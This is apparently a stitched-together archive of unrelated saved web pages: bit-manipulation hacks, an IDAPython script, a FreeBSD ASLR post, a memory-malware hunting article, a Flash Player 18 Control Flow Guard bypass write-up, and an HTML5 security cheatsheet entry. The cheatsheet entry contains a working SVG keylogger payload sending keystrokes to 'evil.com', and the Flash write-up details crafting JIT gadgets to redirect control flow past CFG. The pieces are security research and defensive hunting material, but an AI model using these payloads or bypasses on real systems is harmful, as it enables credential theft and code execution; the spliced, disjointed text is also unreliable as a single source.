         0x0102040810204081ULL >> 49) & 0x5555 |
        ((y * 0x0101010101010101ULL & 0x8040201008040201ULL) * 
         0x0102040810204081ULL >> 48) & 0xAAAA;
    
[/code]

Holger Bettag was inspired to suggest this technique on October 10, 2004 after
reading the multiply-based bit reversals here.

* * *
###  Interleave bits by Binary Magic Numbers

[code]

    static const unsigned int B[] = {0x55555555, 0x33333333, 0x0F0F0F0F, 0x00FF00FF};
    static const unsigned int S[] = {1, 2, 4, 8};
    
    unsigned int x; // Interleave lower 16 bits of x and y, so the bits of x
    unsigned int y; // are in the even positions and bits from y in the odd;
    unsigned int z; // z gets the resulting 32-bit Morton Number.  
                    // x and y must initially be less than 65536.
    
    x = (x | (x << S[3])) & B[3];
    x = (x | (x << S[2])) & B[2];
    x = (x | (x << S[1])) & B[1];
    x = (x | (x << S[0])) & B[0];
    
    y = (y | (y << S[3])) & B[3];
    y = (y | (y << S[2])) & B[2];
    y = (y | (y << S[1])) & B[1];
    y = (y | (y << S[0])) & B[0];
    
    z = x | (y << 1);
    
[/code]

* * *
###  Determine if a word has a zero byte

[code]

    // Fewer operations:
    unsigned int v; // 32-bit word to check if any 8-bit byte in it is 0
    bool hasZeroByte = ~((((v & 0x7F7F7F7F) + 0x7F7F7F7F) | v) | 0x7F7F7F7F);
    
[/code]

The code above may be useful when doing a fast string copy in which a word is
copied at a time; it uses 5 operations. On the other hand, testing for a null
byte in the obvious ways \(which follow\) have at least 7 operations \(when
counted in the most sparing way\), and at most 12.

[code]

    // More operations:
    bool hasNoZeroByte = ((v & 0xff) && (v & 0xff00) && (v & 0xff0000) && (v & 0xff000000))
    // OR:
    unsigned char * p = (unsigned char *) &v;  
    bool hasNoZeroByte = *p && *(p + 1) && *(p + 2) && *(p + 3);
    
[/code]

The code at the beginning of this section \(labeled "Fewer operations"\) works
by first zeroing the high bits of the 4 bytes in the word. Subsequently, it
adds a number that will result in an overflow to the high bit of a byte if any
of the low bits were initialy set. Next the high bits of the original word are
ORed with these values; thus, the high bit of a byte is set iff any bit in the
byte was set. Finally, we determine if any of these high bits are zero by
ORing with ones everywhere except the high bits and inverting the result.
Extending to 64 bits is trivial; simply increase the constants to be
0x7F7F7F7F7F7F7F7F.

For an additional improvement, a fast pretest that requires only 4 operations
may be performed to determine if the word _may_ have a zero byte. The test
also returns true if the high byte is 0x80, so there are occasional false
positives, but the slower and more reliable version above may then be used on
candidates for an overall increase in speed with correct output.

[code]

    bool hasZeroByte = ((v + 0x7efefeff) ^ ~v) & 0x81010100;
    if (hasZeroByte) // or may just have 0x80 in the high byte
    {
      hasZeroByte = ~((((v & 0x7F7F7F7F) + 0x7F7F7F7F) | v) | 0x7F7F7F7F);
    }
    
[/code]

There is yet a faster method — use `hasless`\(v, 1\), which is defined below;
it works in 4 operations and requires no subsquent verification. It simplifies
to

[code]

    bool hasZeroByte = (v - 0x01010101UL) & ~v & 0x80808080UL;
[/code]

The subexpression \(v - 0x01010101UL\), evaluates to a high bit set in any
byte whenever the corresponding byte in v is zero or greater than 0x80. The
sub-expression ~v & 0x80808080UL evaluates to high bits set in bytes where the
byte of v doesn't have its high bit set \(so the byte was less than 0x80\).
Finally, by ANDing these two sub-expressions the result is the high bits set
where the bytes in v were zero, since the high bits set due to a value greater
than 0x80 in the first sub-expression are masked off by the second.

Paul Messmer suggested the fast pretest improvement on October 2, 2004. Juha
Järvi later suggested hasless\(v, 1\) on April 6, 2005, which he found on Paul
Hsieh's Assembly Lab; previously it was written in a newsgroup post on April
27, 1987 by Alan Mycroft.

* * *
###  Determine if a word has a byte equal to n

We may want to know if any byte in a word has a specific value. To do so, we
can XOR the value to test with a word that has been filled with the byte
values in which we're interested. Because XORing a value with itself results
in a zero byte and nonzero otherwise, we can pass the result to haszero.

[code]

    #define hasvalue(x,n) \
    (haszero((x) ^ (~0UL/255 * (n))))
    
[/code]

Stephen M Bennet suggested this on December 13, 2009 after reading the entry
for haszero.

* * *
###  Determine if a word has a byte less than n

Test if a word x contains an unsigned byte with value < n. Specifically for
n=1, it can be used to find a 0-byte by examining one long at a time, or any
byte by XORing x with a mask first. Uses 4 arithmetic/logical operations when
n is constant.

Requirements: x>=0; 0<=n<=128

[code]

    #define hasless(x,n) (((x)-~0UL/255*(n))&~(x)&~0UL/255*128)
    
[/code]

To count the number of bytes in x that are less than n in 7 operations, use

[code]

    #define countless(x,n) \
    (((~0UL/255*(127+(n))-((x)&~0UL/255*127))&~(x)&~0UL/255*128)/128%255)
    
[/code]

Juha Järvi sent this clever technique to me on April 6, 2005. The `countless`
macro was added by Sean Anderson on April 10, 2005, inspired by Juha's
`countmore`, below.

* * *
###  Determine if a word has a byte greater than n

Test if a word x contains an unsigned byte with value > n. Uses 3
arithmetic/logical operations when n is constant.

Requirements: x>=0; 0<=n<=127

[code]

    #define hasmore(x,n) (((x)+~0UL/255*(127-(n))|(x))&~0UL/255*128)
    
[/code]

To count the number of bytes in x that are more than n in 6 operations, use:

[code]

    #define countmore(x,n) \
    (((((x)&~0UL/255*127)+~0UL/255*(127-(n))|(x))&~0UL/255*128)/128%255)
    
[/code]

The macro `hasmore` was suggested by Juha Järvi on April 6, 2005, and he added
`countmore` on April 8, 2005.

* * *
###  Determine if a word has a byte between m and n

When m < n, this technique tests if a word x contains an unsigned byte value,
such that m < value < n. It uses 7 arithmetic/logical operations when n and m
are constant.

Note: Bytes that equal n can be reported by `likelyhasbetween` as false
positives, so this should be checked by character if a certain result is
needed.

Requirements: x>=0; 0<=m<=127; 0<=n<=128

[code]

    #define likelyhasbetween(x,m,n) \
    ((((x)-~0UL/255*(n))&~(x)&((x)&~0UL/255*127)+~0UL/255*(127-(m)))&~0UL/255*128)
    
[/code]

This technique would be suitable for a fast pretest. A variation that takes
one more operation \(8 total for constant m and n\) but provides the exact
answer is:

[code]

    #define hasbetween(x,m,n) \
    ((~0UL/255*(127+(n))-((x)&~0UL/255*127)&~(x)&((x)&~0UL/255*127)+~0UL/255*(127-(m)))&~0UL/255*128)
    
[/code]

To count the number of bytes in x that are between m and n \(exclusive\) in 10
operations, use:

[code]

    #define countbetween(x,m,n) (hasbetween(x,m,n)/128%255)
    
[/code]

Juha Järvi suggested `likelyhasbetween` on April 6, 2005. From there, Sean
Anderson created `hasbetween` and `countbetween` on April 10, 2005.

* * *
###  Compute the lexicographically next bit permutation

Suppose we have a pattern of N bits set to 1 in an integer and we want the
next permutation of N 1 bits in a lexicographical sense. For example, if N is
3 and the bit pattern is 00010011, the next patterns would be 00010101,
00010110, 00011001,00011010, 00011100, 00100011, and so forth. The following
is a fast way to compute the next permutation.

[code]

    unsigned int v; // current permutation of bits 
    unsigned int w; // next permutation of bits
    
    unsigned int t = v | (v - 1); // t gets v's least significant 0 bits set to 1
    // Next set to 1 the most significant bit to change, 
    // set to 0 the least significant ones, and add the necessary 1 bits.
    w = (t + 1) | (((~t & -~t) - 1) >> (__builtin_ctz(v) + 1));  
    
[/code]

The \_\_builtin\_ctz\(v\) GNU C compiler intrinsic for x86 CPUs returns the
number of trailing zeros. If you are using Microsoft compilers for x86, the
intrinsic is \_BitScanForward. These both emit a bsf instruction, but
equivalents may be available for other architectures. If not, then consider
using one of the methods for counting the consecutive zero bits mentioned
earlier.

Here is another version that tends to be slower because of its division
operator, but it does not require counting the trailing zeros.

[code]

    unsigned int t = (v | (v - 1)) + 1;  
    w = t | ((((t & -t) / (v & -v)) >> 1) - 1);  
    
[/code]

Thanks to Dario Sneidermanis of Argentina, who provided this on November 28,
2009.

# Git Powershell

**Created:**| _1/29/2010 2:31:16 PM_  
---|---  
**Updated:**| _1/29/2010 2:31:37 PM_  
**Author:**| __  
**Tags:**| _windows powershell programming windows environment_  
  
<img src='img/Temp2_3484' />

# Center of Vulnerability Research: Advanced CFG Bypass on Adobe Flash Player
18 and Windows 8.1

**Created:**| _7/16/2015 2:14:34 PM_  
---|---  
**Updated:**| _7/16/2015 2:14:34 PM_  
**Author:**| __  
**Tags:**| _Flash_  
  

###  Background

Control Flow Guard \(CFG\) was introduced in Adobe Flash Player in Windows 8.1
Update 3. But CFG-compiled flash had vulnerability which allowed attacker to
bypass this protection. Core Security Team found this flaw and nice method how
to use it

https://blog.coresecurity.com/2015/03/25/exploiting-cve-2015-0311-part-ii-
bypassing-control-flow-guard-on-windows-8-1-update-3/

This flaw existed because for JIT-generated code CFG was not enabled.

On 9th of June this vulnerability was fixed with Flash Player 18.0.0.160 by
enabling CFG for JIT-calls.

https://helpx.adobe.com/security/products/flash-player/apsb15-11.html

We made our analysis of this new protection and found that it is also possible
to bypass it. The main goal of this research is bypass CFG and transfer
control to controlled address.

###  Methodology

We created new class in ActionScript - ExploitClass with few functions
\(func1, func2, func3\) for our experiments. In the ExploitClass function
func1 calls func2, func2 calls func3. We use three functions for
simplification only, it is possible to use only one function.

[code]

     class ExploitClass {  
     
     function func1(arg1, arg2, … , argn) {  
      func2(arg1, arg2, …, argn);  
     } 
     
     function func2(arg1, arg2, … , argn) {  
       func3(arg1, arg2, …, argn )  
     }  
    
     function func3(arg1, arg2, … , argn) {  
      ...  
     } 
     }  
    
[/code]

When we call one JIT-generated function from another JIT-generated function
call is being checked by CFG. Every call of another JIT function in JIT-
generated code looks like this

[code]

     56       push  esi  
     50       push  eax  
     51       push  ecx  
     8bc8      mov   ecx,eax  
     b840aa0f77   mov   eax, LdrpValidateUserCallTarget (770faa40)  
     ffd0      call  eax -> CFG check  
     59       pop   ecx  
     58       pop   eax  
     ffd0      call  eax -> call of validated function  
     83c410     add   esp,10h  
    
[/code]

Block of parameters for function is being generated before CFG call and
following validated function call. Let's look at instructions, which are used
for saving parameters. They can look like this \(instructions are provided
with opcodes for clarity\)

[code]

      8b5de0     mov   ebx,dword ptr [ebp-20h]  
     897d88     mov   dword ptr [ebp-78h],edi  
     8b7de8     mov   edi,dword ptr [ebp-18h]  
     89758c     mov   dword ptr [ebp-74h],esi  
    
[/code]

or this

[code]

     8bbde8feffff  mov   edi,dword ptr [ebp-118h]  
     898df4feffff  mov   dword ptr [ebp-10Ch],ecx  
     8b8decfeffff  mov   ecx,dword ptr [ebp-114h]  
     89b5c0feffff  mov   dword ptr [ebp-140h],esi  
    
[/code]

Our goal as we mentioned earlier, to transfer control to the controlled
address.

Let's describe key points for bypassing CFG in Flash Player 18.

1\. We can use _one of the parameters of func2 as controlled address_ because
arguments are saved in original state without any changes in stack and \(in
some cases\) they are duplicated in registers.

We found that before call eax to func2 we can save one of the parameters in
ecx register.

2\. We found that we can't transfer control to any address \(for instance, in
Flash.ocx\) except beginning of functions because this case is controlled by
CFG. But in case of JIT functions _we can transfer control to any part of any
JIT function_. In our situation it will be control transfer to the any part
\(any instruction\) of func2. It is wiggle room for the exploitation.

But why it became possible?

TrendMicro's research described generation of CFGBitmap for allocated by
NtAllocVirtualMemory executable memory \(all bits will be set to '1'\).

http://sjc1-te-ftp.trendmicro.com/assets/wp/exploring-control-flow-guard-in-
windows10.pdf

It means, that this bug exists because of realization of CFG in Windows \(nor
in Flash Player\).

3\. Our idea is transfer control to any EIP-changing instruction \(it can be
add esp, X/ret, or as in this article - control transfer to ecx\). This
instruction _can exist in JIT code in form of separate instruction or to be
part of other instructions._

We decided to try to find any ecx-control-transfer instruction in JIT code
\(for instance call ecx, jmp ecx etc\).

Let's describe how we got our instruction. In JIT code call ecx doesn't exist
normally, but we can try to generate it via one big instruction or two
separate ones. Call ecx opcode is FF D1. We found following options in our
experimental module

[code]

      1. 33**FF** XOR EDI,EDI   
      **D1** F8    SAR EAX,1   
      2. 8B8D 04FFFF**FF** MOV ECX,DWORD PTR [EBP-FC]   
      **D1** E1    SHL ECX,1   
      3. 898D 70FFFF**FF** MOV DWORD PTR [EBP-90],ECX   
      **D1** EB    SHR EBX,1   
      4. 8D51 **FF**   LEA EDX,DWORD PTR DS:[ECX-1]   
      **D1** FE    SAR ESI,1   
    
[/code]

Also, we found

[code]

      5. C785 00FFFF**FF D1** 000000    MOV DWORD PTR [EBP-100],0D1   
    
[/code]

Looks interesting, especially options with ebp-usage \(2,3,5\) as we know that
_Flash uses similar constructions for building parameters block_. Ideal option
for us is 5, because one instruction is enough in this case.

But we noticed important thing, that different instructions\(with different
opcodes\) can be used for saving parameters. For example

[code]

      C785 00FFFF**FF 01** 000000    MOV DWORD PTR [EBP-100],1   
      C745 8C 01000000      MOV DWORD PTR [EBP-74],1   
    
[/code]

First variation is good for us, because there is FF \(we need FF in call ecx
opcode\). Why Flash select one type of instruction in one case and different
in another one ?

[code]

     If in instruction  
     MOV DWORD PTR [EBP-X], N  
     X> 0x80, first variant will be generated  
     X<= 0x80, second one will be generated  
    
[/code]

We can influence on X in JIT function via local variables, number of other
functions calls inside JIT function, number of their parameters.

Using this information, we need to prepare func2 before call of func3 and
force flash to use fist variant of opcode \(we added more local variables,
additional calls etc\).

We tried something like this

[code]

     function func2(arg1, arg2,...,argn) {  
       var localvar1;  
       var localvar2;  
       ....  
       func3(arg1, arg2,...,0xD1,..., argn )  
     }  
    
[/code]

in order to get MOV DWORD PTR \[EBP-X\],0D1 in parameters saving code. But,
unfortunately, 0xD1 had been obfuscated by JIT compiler. Instead, we got
something like

[code]

     MOV EBX,18C731Eh  
     XOR EBX,18C73CFh ; EBX == 0D1h  
     MOV DWORD PTR [EBP-X],EBX  
    
[/code]

Seems this idea wasn't successful, but we still have two alternative ones
\(2,3 options\) with generating of two instructions. In the end of first one
will be 0xff, and in the beginning of second one will be 0xD1. We can use
parameters manipulation \(or local variables\) for 0xFF generation and shr,
shl, sar instructions for 0xD1. We tried to do something like this in
ActionScript

[code]

     any_var1 = any_var2<<1  
    
[/code]

But instead of desired

[code]

     D1E2       SHL EDX,1  
    
[/code]

we got the same instruction, but with alternative opcode \(probably because it
is easier to generate it\).

[code]

     C1E201 SHL EDX, 1  
    
[/code]

Ok, seems it is not our option again. But let's try to find alternatives. For
instance, call \[ecx\]. This instruction's opcode is FF 11\. When we tried
following code

[code]

     function func2(arg1, arg2 ..., argn) {  
       var localvar1;  
       var localvar2;  
       ....  
       func3(arg1, arg2,...,0x11,... , argn)  
     }  
    
[/code]

And we got instruction

[code]

      c78570ffff**ff11** 000000 mov dword ptr [ebp-90h],11h   
    
[/code]

Bingo\! 0x11 is not big number for JIT compiler and shouldn't be obfuscated.
Obfuscation of numbers begins from 0x80. Numbers less than 0x80 will not be
obfuscated.

Finally, after generation of JIT func2, we have ready call \[ecx\]. After
exploit execution we can find address of func2 inside our object and change it
to call \[ecx\] 's address in func2. After all manipulations after call func2
from func1 we will have transfer control to controlled address inside ecx with
CFG bypass.

[code]

     126aed07 ff11      call  dword ptr [ecx]   ds:002b:42424242=????????  
    
[/code]

in modern flash exploits we can easily put address with target address for
control transfer to ecx. Then, we can transfer control to ROP using standard
approach.

Following picture shows how to bypass new CFG protection in JIT code

<img src='img/Temp2_1401.png' width='320' height='310' />

###  Conclusion

Our approach was based on three key points.

1\. It is possible to transfer control to any part of JIT-generated function
despite CFG.

2\. It is possible to control one of registers in func1 and fill it with one
of parameters before call of func2.

3\. Predictability of JIT-interpreter allows us to generate interesting
control-transfer instruction.

Yurii Drozdov, Luidmila Drozdova

\(C\) CVR Ltd

# HTML5 Security Cheatsheet

**Created:**| _1/9/2012 3:09:36 PM_  
---|---  
**Updated:**| _1/9/2012 3:09:36 PM_  
**Author:**| __  
**Tags:**| _bookmark browser html5_  
  

#### SVG <set> and <animate> elements allow key-logging w/o
JavaScript\#132test

It is possible to achieve an injection capable to exfiltrate keyboard events
without any JavaScript execution via SVG and set/animate timing attributes. In
essence, an access key can be specified to trigger events inside an SVG. In
case an inline SVG is being used, the listener for these keys observes the
whole document - and not just the SVG itself. This means that even keystrokes
into a form input trigger the SVG access key handler. Once this access key
handler is being combined with adding a new keystroke-depending image source
to an existing image, the form input will be filled, and the SVG will reset a
hidden image source according to the key being pressed and thereby silently
exfiltrate the data. Since all this works without using any JavaScript, it was
also possible to execute this attack in latest Thunderbird versions - with the
vector invisibly wrapped inside the mail-body. The problem has been reported
and fixed, CVE-2011-3663 has been assigned. Current stable versions of Firefox
still allow to observe the problem - using a network traffic monitor/Firebug
is recommended.

`<!doctype html> <form> <label>type a,b,c,d - watch the network tab/traffic
(JS is off, latest NoScript)</label> <br> <input name="secret"
type="password"> </form> <!-- injection --><svg height="50px"> <image
xmlns:xlink="http://www.w3.org/1999/xlink"> <set attributeName="xlink:href"
begin="accessKey(a)" to="//evil.com/?a" /> <set attributeName="xlink:href"
begin="accessKey(b)" to="//evil.com/?b" /> <set attributeName="xlink:href"
begin="accessKey(c)" to="//evil.com/?c" /> <set attributeName="xlink:href"
begin="accessKey(d)" to="//evil.com/?d" /> </image> </svg>`

  * firefox 4
  * firefox 5
  * firefox 6
  * firefox 7
  * firefox 8
  * firefox 9

  * svg
  * html5
  * noscript
  * keylogger
  * firefox
  * thunderbird

  * http://www.mozilla.org/security/announce/2011/mfsa2011-56.html
  * https://bugzilla.mozilla.org/show\_bug.cgi?id=704482
  * http://www.w3.org/TR/SVG/animate.html\#TimingAttributes

# Quickpost: IDAPython script to identify unrecognized functions. « Exploiting
Stuff.

**Created:**| _12/11/2011 3:00:17 PM_  
---|---  
**Updated:**| _12/11/2011 3:00:17 PM_  
**Author:**| __  
**Tags:**| _iDA_  
  

## Quickpost: IDAPython script to identify unrecognized functions.

<img src='img/Temp2_6614.jpg' alt='WhatTheFunct?' />

WhatTheFunct?

Hey folks\! This time I’m gonna share with you a small IDAPython tool made by
Federico Muttis \(aka @acid\_. Maybe you remember him from the -pretty
awesome- pidgin vulnerability or the WebEx one\). This is one of those scripts
that you have to use and reuse several times when working with obscure
firmwares, memory dumps or even unknown pieces of code. A lot of us made
something like this in the past. It’s a must. But I felt that we really needed
something with a little more generical approach. Like Acid did.

Let’s see what he has to say about it <img src='img/Temp2_6617.jpg' alt=';)'
/>

When reversing unknown binaries, such as firmware or any non-standard
executable \(ELF, PE, etc\), it’s pretty common that IDA doesn’t recognize
most of the functions.

This is when I usually start hitting “C” whenever something looks like code,
and then define everything that looks like functions using “P”.

Of course IDA helps a bit, i.e. when you find a function that jumps to another
section on the file, it disassemblies that part, and defines some functions.

But sometimes the binary file is just too long, and even if IDA helps by
defining such sections of the file as code/functions, there is a lot of
undefined code as well.

This little IDA Python script finds all your defined functions, takes the
first instruction’s opcode and searches for it in the rest of the file, if the
opcode is found in an undefined portion of the file, it does MakeCode, which
is the same as hitting “C”, and then MakeFunction \(IDC equivalent for “P”\).

It’s worth mentioning that the script also filters which opcodes are functions
prologues based on a set of common instructions \(i.e. “STMFD” \(for ARM\),
“PUSH” and “MOV”\).

You should modify it to suit your needs.

`01`| `import` `idc`  
---|---  
`02`| `import` `struct`  
---|---  
`03`| `import` `idautils`  
---|---  
`04`|  
---|---  
`05`| `def` `find_all( opcode_str ):`  
---|---  
`06`| ` ``ret ``=` `[]`  
---|---  
`07`| ` ``ea ``=` `idc.FindBinary(``0``, ``1``, opcode_str)`  
---|---  
`08`| ` ``while` `ea !``=` `idc.BADADDR:`  
---|---  
`09`| ` ``ret.append(ea)`  
---|---  
`10`| ` ``ea ``=` `idc.FindBinary(ea ``+` `4``, ``1``, opcode_str)`  
---|---  
`11`| ` ``return` `ret`  
---|---  
`12`| ` `  
---|---  
`13`| `def` `define_functions():`  
---|---  
`14`| ` ``# The function first searches for all user defined functions, reads`  
---|---  
`15`| ` ``# the opcodes and searches for that opcodes in the rest of the
file.`  
---|---  
`16`| ` ``#`  
---|---  
`17`| ` ``# You can extend this by adding more disassembled instructions that`  
---|---  
`18`| ` ``# make you believe are function prologues.`  
---|---  
`19`| ` ``#`  
---|---  
`20`| ` ``# Obviously not any PUSH is a function start, this is only a filter`  
---|---  
`21`| ` ``# against erroneously defined functions. So if you define a
function`  
---|---  
`22`| ` ``# that starts with other instruction (and you think there could be`  
---|---  
`23`| ` ``# other functions that start with that instruction), just add it
here.`  
---|---  
`24`| ` ``prologues ``=` `[``"STMFD"``, ``"push"``, ``"PUSH"``, ``"mov"``,
``"MOV"``]`  
---|---  
`25`| ` `  
---|---  
`26`| ` ``print` `"Finding all signatures"`  
---|---  
`27`| ` ``ea ``=` `0`  
---|---  
`28`| ` ``opcodes ``=` `set``()`  
---|---  
`29`| ` ``for` `funcea ``in` `idautils.Functions(idc.SegStart(ea),
idc.SegEnd(ea)):`  
---|---  
`30`| ` ``# Get the opcode`  
---|---  
`31`| ` ``start_opcode ``=` `idc.Dword(funcea)`  
---|---  
`32`| ` `  
---|---  
`33`| ` ``# Get the disassembled text`  
---|---  
`34`| ` ``dis_text ``=` `idc.GetDisasm(funcea)`  
---|---  
`35`| ` ``we_like_it ``=` `False`  
---|---  
`36`| ` `  
---|---  
`37`| ` ``# Filter possible errors on manually defined functions`  
---|---  
`38`| ` ``for` `prologue ``in` `prologues:`  
---|---  
`39`| ` ``if` `prologue ``in` `dis_text:`  
---|---  
`40`| ` ``we_like_it ``=` `True`  
---|---  
`41`| ` `  
---|---  
`42`| ` ``# If it passes the filter, add the opcode to the search list.`  
---|---  
`43`| ` ``if` `we_like_it:`  
---|---  
`44`| ` ``opcodes.add(start_opcode)`  
---|---  
`45`| ` `  
---|---  
`46`| ` ``print` `"# different opcodes: %x"` `%` `(``len``(opcodes))`  
---|---  
`47`| ` ``while` `len``(opcodes) > ``0``:`  
---|---  
`48`| ` ``# Search for this opcode in the rest of the file`  
---|---  
`49`| ` ``opcode_bin ``=` `opcodes.pop()`  
---|---  
`50`| ` ``opcode_str ``=` `" "``.join(x.encode(``"hex"``) ``for` `x ``in`
`struct.pack(``"<L"``, opcode_bin))`  
---|---  
`51`| ` ``print` `"Searching for "` `+` `opcode_str`  
---|---  
`52`| ` ``matches ``=` `find_all( opcode_str )`  
---|---  
`53`| ` ``for` `matchea ``in` `matches:`  
---|---  
`54`| ` ``# If the opcode is found in a non-function`  
---|---  
`55`| ` ``if` `not` `idc.GetFunctionName(matchea):`  
---|---  
`56`| ` ``# Try to make code and function`  
---|---  
`57`| ` ``print` `"Defining function at "` `+` `hex``(matchea)`  
---|---  
`58`| ` ``idc.MakeCode(matchea)`  
---|---  
`59`| ` ``idc.MakeFunction(matchea)`  
---|---  
`60`|  
---|---  
`61`| ` ``print` `"We're done!"`  
---|---  
`62`| ` `  
---|---  
`63`| `define_functions()`  
---|---  
This in an example of a firmware file with only user \(and IDA\) defined
functions:

<img src='img/Temp2_6616.jpg' width='497' height='19' />

And this is after the script ran:

<img src='img/Temp2_6615.jpg' width='497' height='19' />

Obviously, blue means code within a function.

# Administering FreeBSD ASLR Through Firewall Rules | SOLDIERX.COM
**Created:**| _5/3/2014 11:20:41 PM_  
---|---  
**Updated:**| _5/3/2014 11:20:41 PM_  
**Author:**| __  
**Tags:**| _BSD aslr_  
  

# Administering FreeBSD ASLR Through Firewall Rules

1 May, 2014 - 10:14 — lattera

Late last night, I finished up a nifty new feature for our ASLR implementation
on FreeBSD. This feature allows you to administer on a per-user, per-group,
per-jail, and per-binary basis how ASLR is applied. I don't know of any other
ASLR implementation that provides this sort of flexibility. This post will
show you how to use FreeBSD's filesystem firewall in conjunction with ASLR.

**Why a firewall?**  
Over the past few months, I've been working with another developer named
Oliver Pinter. He started work a few months back in porting PaX's ASLR
implementation to FreeBSD and I've been enhancing his implementation in behalf
of SoldierX. One of Oliver's goals was to port the `paxctl` program. When I
joined him in this process, he hadn't yet started on the `paxctl` port.
`paxctl` adds an ELF section header to executable files that tells the kernel
ELF loader if ASLR should be turned on or off for this file. While he was
fixing other bugs and implementing other features, I had started work on
porting `paxctl` over. I quickly realized using ELF section headers for
FreeBSD simply wasn't possible. Since they are optional, section headers are
generally placed at the very end of the file. Program headers, the structures
required for telling the kernel how to load the binary, are placed near the
beginning of the file.

When you execute `execve`, FreeBSD's kernel will first check file existence,
permissions, etc. If those checks succeed, the kernel will load only the first
page of the file into memory. It uses this first page to check for a shebang
line \(\#\!/path/to/interpreter\) or a binary file format. In our case, we're
dealing with ELF files. The execution is passed to the ELF loader at this
point.

The ELF loader loops through the program headers and figures out how to load
the binary into memory. Oliver and I have implemented ASLR into this stage of
the loading process. Remember, section headers are at the end of the file.
Since only the first page of the file is mapped into memory, we don't have
access to the PaX section headers. We're now stuck in a catch 22. If we want
to get at the section headers, we have to load the rest of the file into
memory. Loading the file into memory applies ASLR settings. The PaX section
header might tell us to turn off ASLR for this binary. We would have to unload
the binary and reload it with the ASLR settings from the PaX section applied.
Loading a binary twice for every single execution is a waste.

FreeBSD has a really powerful policy-based security framework they call the
MAC Framework. The MAC framework rules get applied even before the first page
of the binary is loaded. I figured that I could apply ASLR settings to
binaries by tying into the MAC framework. One MAC module is the
mac\_bsdextended module, which provides a firewall-like interface for setting
privilege accesses on resources.

The mac\_bsdextended module, and its userland interface, ugidfw, fits our end-
goal perfectly.

**`ugidfw` rule changes**  
NOTE: I'll let you read the manual page for ugidfw that I linked to above for
learning how to create generic rules. I don't want to waste time recreating
the wheel.

I've modified the filesys object target to store the inode of a file if a file
is specified, rather than the mountpoint of the filesystem. So if you run
`ugidfw add subject uid lattera object filesys /bin/sh mode n`, that only
disables access for /bin/sh, not for all executables for the filesystem
/bin/sh is in. This behavior is different from before.

I've added an optional paxflags argument to the firewall ruleset. If set, this
will enable or disable ASLR for a given binary. If you run `ugidfw add subject
uid lattera object filesys /bin/sh mode rx paxflags a`, that will disable ASLR
for /bin/sh, but still allow me to execute it.

**Demo**

$ id  
uid=1001\(lattera\) gid=1001\(lattera\)
groups=1001\(lattera\),0\(wheel\),920\(vboxusers\)  
$ sudo ugidfw list  
0 slots, 0 rules  
$ ./test  
1318  
Address of ptr: 0x0000000001fdca56  
^C  
$ ./test  
1319  
Address of ptr: 0x0000000001d8aa56  
^C  
$ sudo ugidfw add subject uid lattera object filesys
/usr/home/lattera/tmp/test mode rx paxflags a  
0 subject uid lattera object filesys /usr/home/lattera mode rx paxflags a  
$ ./test  
1322  
Address of ptr: 0x0000000001021a56  
^C  
$ ./test  
1323  
Address of ptr: 0x0000000001021a56  
^C  
$ ./test  
1324  
Address of ptr: 0x0000000001021a56  
^C  
$ sudo /usr/home/lattera/tmp/test  
1326  
Address of ptr: 0x0000000001d38a56  
^C$ sudo /usr/home/lattera/tmp/test  
1328  
Address of ptr: 0x0000000001e59a56

**Conclusion**  
Using a filesystem firewall will allow system administrators to create secure,
dynamic rules to govern how ASLR is applied on a given system. There's no need
to directly modify a file to turn on or off ASLR. If an application is
misbehaving, simply add a `ugidfw` rule to disable ASLR for that application.

  * Login or register to post comments

Copyright © 1997-2014 SOLDIERX.COM.  
All content on this site falls under our Usage Policy. If you do not agree to
it, your only lawful option is to discontinue use immediately.

# Hunting In Memory

**Created:**| _6/29/2017 3:56:46 PM_  
---|---  
**Updated:**| _6/29/2017 3:56:46 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Hunting In Memory

__ Joe Desimone

June 13, 2017

<img src='img/Temp2_4134.png' width='680' height='400' />

Threat Hunters are charged with the difficult task of sifting through vast
sources of diverse data to pinpoint adversarial activity at any stage in the
attack lifecycle. To be successful, hunters must continually hone their
subject matter expertise on the latest attacker techniques and detection
methods. Memory resident malware, which presents itself in many forms, is an
attacker technique that has existed for over a decade. The popularity of
memory resident malware has steadily increased over time, possibly resulting
from the proliferation of code and knowledge of in memory techniques. More
likely, its popularity reflects the success of memory-based techniques to
evade detection by security products and practitioners. Once limited to
advanced adversaries, memory resident techniques are now commonplace for all
levels of adversary sophistication. I will examine the most common of these
memory based attacker techniques, and walk through our team’s research to
craft a scalable, low noise approach to hunting for adversaries that are
hiding in memory.

##

## **Attacker Techniques**

Before I address memory hunting methods to detect adversaries in your network,
it is helpful to understand the common forms of memory resident malware. These
techniques include shellcode injection, reflective DLL injection, memory
module, process and module hollowing, and Gargoyle \(ROP/APC\).

###

### **Shellcode Injection**

Shellcode injection is the most basic in-memory technique and has also been
around the longest. The basic ‘recipe’ for shellcode injection is a four step
process. These steps are: 1\) open a target process \(OpenProcess\); 2\)
allocate a chunk of memory in the process \(VirtualAllocEx\); 3\) write the
shellcode payload to the newly allocated section \(WriteProcessMemory\); and
4\) create a new thread in the remote process to execute the shellcode
\(CreateRemoteThread\). The venerable Poison Ivy malware uses this technique,
which is a big reason why so many APT groups were drawn to it over the years.

If you pull up a Poison Ivy sample with x64dbg and set a breakpoint on
VirtualAllocEx, you will soon locate the chunk of code responsible for the
injection.

<img
src='img/4310Y2DQgDzoT0JZVwc3_oqstAoAHkaTAd9h_BXQyndKro6j2VGh1p7KJYQ7UbCWIh9YWQnShDI79SD6qBKx2kwL9Xto9VueH3Xcspce9hAYkIwZP1jZOM_jR0Vl-
eta8c_Zzihs.png' width='588' height='232' />

<img
src='img/HRWWc13afy4bX4Hh1ifHKNW4xblz7JY_0CUOKKegjWQE6XLq5HZ8uOc160viujbqxjUbduoO3clcwJGb16f1mOvR9b5H9kiQY3z94jcx4QAG6FcYwe6HNuiju1YKyimsKYEKOM7L.png'
width='624' height='104' />

In the first image, the push 40 instruction preceding the call to
VirtualAllocEx corresponds to page access protection value of
PAGE\_EXECUTE\_READWRITE. In the following screenshot from ProcessHacker of
the memory layout of a Poison Ivy implant, you can see it allocates a number
of these RWX sections.

<img src='img/ZHZ_eMD8hignql5XZfhv0YMM-SB9__MjPP-
Al0L-MglaNNSfcPREdNVp6FQdSvpWiiiaBqtnw9wov907e3wm7g_wc0vU3JbV4X2FAmAcC2U86MWQ6EZyfWKpm000KeZFSbbpMTdA.png'
width='524' height='204' />

Typical code sections are of type ‘Image’ and map to a file on disk. However,
these are type ‘Private’ and do not map to a file on disk. They are therefore
referred to as unbacked executable sections or floating code. Threads starting
from these types of memory regions are anomalous and a good indicator of
